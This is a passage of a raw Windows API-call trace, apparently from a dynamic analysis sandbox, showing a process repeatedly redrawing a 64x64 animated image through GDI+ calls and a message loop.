GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0119.526] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0119.526] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0119.526] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x4f01018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0119.526] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.526] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4f01018a) returned 0x0 [0119.526] SelectObject (hdc=0x4f01018a, h=0x185000f) returned 0x1a05067e [0119.526] DeleteDC (hdc=0x4f01018a) returned 1 [0119.527] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.527] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0119.527] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0119.527] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0119.527] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0119.527] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0119.527] WaitMessage () returned 1 [0119.718] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0119.718] IsWindowUnicode (hWnd=0x2031e) returned 1 [0119.718] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0119.718] TranslateMessage (lpMsg=0x15e910) returned 0 [0119.719] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0119.719] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0119.719] GetCurrentThreadId () returned 0xec0 [0119.719] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0119.720] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0119.720] IsWindowUnicode (hWnd=0x2031e) returned 1 [0119.720] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0119.720] TranslateMessage (lpMsg=0x15e910) returned 0 [0119.720] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0119.720] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0119.720] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0119.720] CreateCompatibleDC (hdc=0x1010b9d) returned 0x5001018a [0119.720] SelectObject (hdc=0x5001018a, h=0x1a05067e) returned 0x185000f [0119.720] GdipCreateFromHDC (hdc=0x5001018a, graphics=0x15daf0) returned 0x0 [0119.720] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0119.720] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0119.720] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0119.720] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0119.721] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0119.721] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1aff87c0 [0119.721] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1aff87c0) returned 0x0 [0119.721] LocalFree (hMem=0x1aff87c0) returned 0x0 [0119.721] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.721] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0119.721] GdipCreateRegion (region=0x15dc20) returned 0x0 [0119.722] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0119.722] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0119.722] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0119.722] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0119.722] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0119.722] GetSystemMetrics (nIndex=42) returned 0 [0119.722] CoTaskMemAlloc (cb=0x6) returned 0x1afd3e80 [0119.722] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3e80, nMaxCount=1 | out: lpString="") returned 0 [0119.722] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3e80) returned 0x0 [0119.722] CoTaskMemFree (pv=0x1afd3e80) [0119.722] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0119.722] GdipCreateRegion (region=0x15d710) returned 0x0 [0119.722] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0119.722] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0119.722] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0119.722] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0119.723] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1aff87c0 [0119.723] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1aff87c0) returned 0x0 [0119.723] LocalFree (hMem=0x1aff87c0) returned 0x0 [0119.723] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0119.723] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1aff87c0 [0119.723] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1aff87c0) returned 0x0 [0119.724] LocalFree (hMem=0x1aff87c0) returned 0x0 [0119.724] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.724] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0119.724] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0119.724] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0119.724] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0119.724] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.724] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0119.724] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0119.724] GetCurrentObject (hdc=0x5001018a, type=0x1) returned 0x1b00017 [0119.724] GetCurrentObject (hdc=0x5001018a, type=0x2) returned 0x1900010 [0119.724] GetCurrentObject (hdc=0x5001018a, type=0x7) returned 0x1a05067e [0119.724] GetCurrentObject (hdc=0x5001018a, type=0x6) returned 0x18a002e [0119.725] SaveDC (hdc=0x5001018a) returned 1 [0119.725] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x2d040b8a [0119.725] GetClipRgn (hdc=0x5001018a, hrgn=0x2d040b8a) returned 0 [0119.725] SelectClipRgn (hdc=0x5001018a, hrgn=0x5d0407c3) returned 2 [0119.725] DeleteObject (ho=0x2d040b8a) returned 1 [0119.725] DeleteObject (ho=0x5d0407c3) returned 1 [0119.725] OffsetViewportOrgEx (in: hdc=0x5001018a, x=0, y=0, lppt=0x2742588 | out: lppt=0x2742588) returned 1 [0119.725] GetNearestColor (hdc=0x5001018a, color=0xffffff) returned 0xffffff [0119.725] CreateSolidBrush (color=0xffffff) returned 0x35100190 [0119.725] FillRect (hDC=0x5001018a, lprc=0x15d7c0, hbr=0x35100190) returned 1 [0119.725] DeleteObject (ho=0x35100190) returned 1 [0119.725] RestoreDC (hdc=0x5001018a, nSavedDC=-1) returned 1 [0119.726] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.726] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5001018a) returned 0x0 [0119.726] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd7c0dbd) returned 0x0 [0119.726] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.726] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0119.726] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0119.726] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0119.726] GetSystemMetrics (nIndex=42) returned 0 [0119.726] CoTaskMemAlloc (cb=0x6) returned 0x1afd3e80 [0119.726] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3e80, nMaxCount=1 | out: lpString="") returned 0 [0119.726] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3e80) returned 0x0 [0119.726] CoTaskMemFree (pv=0x1afd3e80) [0119.726] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x1c) returned 0x0 [0119.729] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0119.729] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0119.729] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0119.729] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0119.729] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x5001018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0119.729] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.730] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5001018a) returned 0x0 [0119.730] SelectObject (hdc=0x5001018a, h=0x185000f) returned 0x1a05067e [0119.730] DeleteDC (hdc=0x5001018a) returned 1 [0119.730] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.730] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0119.730] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0119.730] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0119.730] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0119.730] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0119.730] WaitMessage () returned 1 [0119.897] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0119.897] IsWindowUnicode (hWnd=0x2031e) returned 1 [0119.897] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0119.897] TranslateMessage (lpMsg=0x15e910) returned 0 [0119.897] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0119.897] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0119.897] GetCurrentThreadId () returned 0xec0 [0119.897] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0119.897] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0119.897] IsWindowUnicode (hWnd=0x2031e) returned 1 [0119.897] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0119.897] TranslateMessage (lpMsg=0x15e910) returned 0 [0119.897] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0119.897] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0119.898] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0119.898] CreateCompatibleDC (hdc=0x1010b9d) returned 0x5101018a [0119.898] SelectObject (hdc=0x5101018a, h=0x1a05067e) returned 0x185000f [0119.898] GdipCreateFromHDC (hdc=0x5101018a, graphics=0x15daf0) returned 0x0 [0119.898] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0119.898] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0119.898] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0119.898] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0119.898] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0119.898] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00f0 [0119.899] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00f0) returned 0x0 [0119.899] LocalFree (hMem=0x1e7a00f0) returned 0x0 [0119.899] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.899] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0119.899] GdipCreateRegion (region=0x15dc20) returned 0x0 [0119.899] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0119.900] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0119.900] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0119.900] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0119.900] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0119.900] GetSystemMetrics (nIndex=42) returned 0 [0119.900] CoTaskMemAlloc (cb=0x6) returned 0x1afd3e80 [0119.900] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3e80, nMaxCount=1 | out: lpString="") returned 0 [0119.900] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3e80) returned 0x0 [0119.900] CoTaskMemFree (pv=0x1afd3e80) [0119.900] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0119.900] GdipCreateRegion (region=0x15d710) returned 0x0 [0119.900] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0119.900] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0119.900] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0119.900] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0119.900] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00f0 [0119.900] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00f0) returned 0x0 [0119.901] LocalFree (hMem=0x1e7a00f0) returned 0x0 [0119.901] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0119.901] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00f0 [0119.901] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00f0) returned 0x0 [0119.901] LocalFree (hMem=0x1e7a00f0) returned 0x0 [0119.902] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.902] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0119.902] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0119.902] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0119.902] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0119.902] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.902] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0119.902] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0119.902] GetCurrentObject (hdc=0x5101018a, type=0x1) returned 0x1b00017 [0119.902] GetCurrentObject (hdc=0x5101018a, type=0x2) returned 0x1900010 [0119.902] GetCurrentObject (hdc=0x5101018a, type=0x7) returned 0x1a05067e [0119.902] GetCurrentObject (hdc=0x5101018a, type=0x6) returned 0x18a002e [0119.902] SaveDC (hdc=0x5101018a) returned 1 [0119.902] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x5e0407c3 [0119.903] GetClipRgn (hdc=0x5101018a, hrgn=0x5e0407c3) returned 0 [0119.903] SelectClipRgn (hdc=0x5101018a, hrgn=0x2e040b8a) returned 2 [0119.903] DeleteObject (ho=0x5e0407c3) returned 1 [0119.903] DeleteObject (ho=0x2e040b8a) returned 1 [0119.903] OffsetViewportOrgEx (in: hdc=0x5101018a, x=0, y=0, lppt=0x2745480 | out: lppt=0x2745480) returned 1 [0119.903] GetNearestColor (hdc=0x5101018a, color=0xffffff) returned 0xffffff [0119.903] CreateSolidBrush (color=0xffffff) returned 0x36100190 [0119.903] FillRect (hDC=0x5101018a, lprc=0x15d7c0, hbr=0x36100190) returned 1 [0119.903] DeleteObject (ho=0x36100190) returned 1 [0119.903] RestoreDC (hdc=0x5101018a, nSavedDC=-1) returned 1 [0119.903] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.903] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5101018a) returned 0x0 [0119.903] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd7a0dbd) returned 0x0 [0119.903] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.904] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0119.904] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0119.904] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0119.904] GetSystemMetrics (nIndex=42) returned 0 [0119.904] CoTaskMemAlloc (cb=0x6) returned 0x1afd3e80 [0119.904] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3e80, nMaxCount=1 | out: lpString="") returned 0 [0119.904] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3e80) returned 0x0 [0119.904] CoTaskMemFree (pv=0x1afd3e80) [0119.904] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0119.904] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0119.904] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0119.904] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0119.904] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x5101018a, x1=0, y1=0, rop=0xcc0020) returned 1 [0119.904] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.904] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5101018a) returned 0x0 [0119.905] SelectObject (hdc=0x5101018a, h=0x185000f) returned 0x1a05067e [0119.905] DeleteDC (hdc=0x5101018a) returned 1 [0119.905] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0119.905] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0119.906] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0119.906] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0119.906] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0119.906] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0119.906] WaitMessage () returned 1 [0120.101] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0120.101] IsWindowUnicode (hWnd=0x2031e) returned 1 [0120.101] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0120.101] TranslateMessage (lpMsg=0x15e910) returned 0 [0120.101] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0120.101] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0120.101] GetCurrentThreadId () returned 0xec0 [0120.102] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0120.102] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0120.102] IsWindowUnicode (hWnd=0x2031e) returned 1 [0120.102] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0120.102] TranslateMessage (lpMsg=0x15e910) returned 0 [0120.102] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0120.102] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0120.102] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0120.102] CreateCompatibleDC (hdc=0x1010b9d) returned 0x5201018a [0120.102] SelectObject (hdc=0x5201018a, h=0x1a05067e) returned 0x185000f [0120.102] GdipCreateFromHDC (hdc=0x5201018a, graphics=0x15daf0) returned 0x0 [0120.102] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0120.103] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0120.103] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0120.103] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0120.103] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0120.103] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a0170 [0120.103] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a0170) returned 0x0 [0120.103] LocalFree (hMem=0x1e7a0170) returned 0x0 [0120.104] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0120.104] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0120.104] GdipCreateRegion (region=0x15dc20) returned 0x0 [0120.104] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0120.104] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0120.104] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0120.104] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0120.104] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0120.104] GetSystemMetrics (nIndex=42) returned 0 [0120.105] CoTaskMemAlloc (cb=0x6) returned 0x1afd3e80 [0120.105] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3e80, nMaxCount=1 | out: lpString="") returned 0 [0120.105] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3e80) returned 0x0 [0120.105] CoTaskMemFree (pv=0x1afd3e80) [0120.105] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0120.105] GdipCreateRegion (region=0x15d710) returned 0x0 [0120.105] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0120.105] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0120.105] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0120.105] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0120.105] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a0170 [0120.105] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a0170) returned 0x0 [0120.106] LocalFree (hMem=0x1e7a0170) returned 0x0 [0120.106] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0120.106] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a0170 [0120.106] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a0170) returned 0x0 [0120.106] LocalFree (hMem=0x1e7a0170) returned 0x0 [0120.106] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0120.106] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0120.106] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0120.106] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0120.106] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0120.107] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0120.107] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0120.107] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0120.107] GetCurrentObject (hdc=0x5201018a, type=0x1) returned 0x1b00017 [0120.107] GetCurrentObject (hdc=0x5201018a, type=0x2) returned 0x1900010 [0120.107] GetCurrentObject (hdc=0x5201018a, type=0x7) returned 0x1a05067e [0120.107] GetCurrentObject (hdc=0x5201018a, type=0x6) returned 0x18a002e [0120.107] SaveDC (hdc=0x5201018a) returned 1 [0120.107] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x2f040b8a [0120.107] GetClipRgn (hdc=0x5201018a, hrgn=0x2f040b8a) returned 0 [0120.107] SelectClipRgn (hdc=0x5201018a, hrgn=0x5f0407c3) returned 2 [0120.107] DeleteObject (ho=0x2f040b8a) returned 1 [0120.107] DeleteObject (ho=0x5f0407c3) returned 1 [0120.107] OffsetViewportOrgEx (in: hdc=0x5201018a, x=0, y=0, lppt=0x2747040 | out: lppt=0x2747040) returned 1 [0120.108] GetNearestColor (hdc=0x5201018a, color=0xffffff) returned 0xffffff [0120.108] CreateSolidBrush (color=0xffffff) returned 0x37100190 [0120.108] FillRect (hDC=0x5201018a, lprc=0x15d7c0, hbr=0x37100190) returned 1 [0120.108] DeleteObject (ho=0x37100190) returned 1 [0120.108] RestoreDC (hdc=0x5201018a, nSavedDC=-1) returned 1 [0120.108] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0120.108] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5201018a) returned 0x0 [0120.108] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd780dbd) returned 0x0 [0120.109] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0120.109] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0120.109] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0120.109] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0120.109] GetSystemMetrics (nIndex=42) returned 0 [0120.109] CoTaskMemAlloc (cb=0x6) returned 0x1afd3e80 [0120.109] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3e80, nMaxCount=1 | out: lpString="") returned 0 [0120.109] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3e80) returned 0x0 [0120.109] CoTaskMemFree (pv=0x1afd3e80) [0120.109] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, 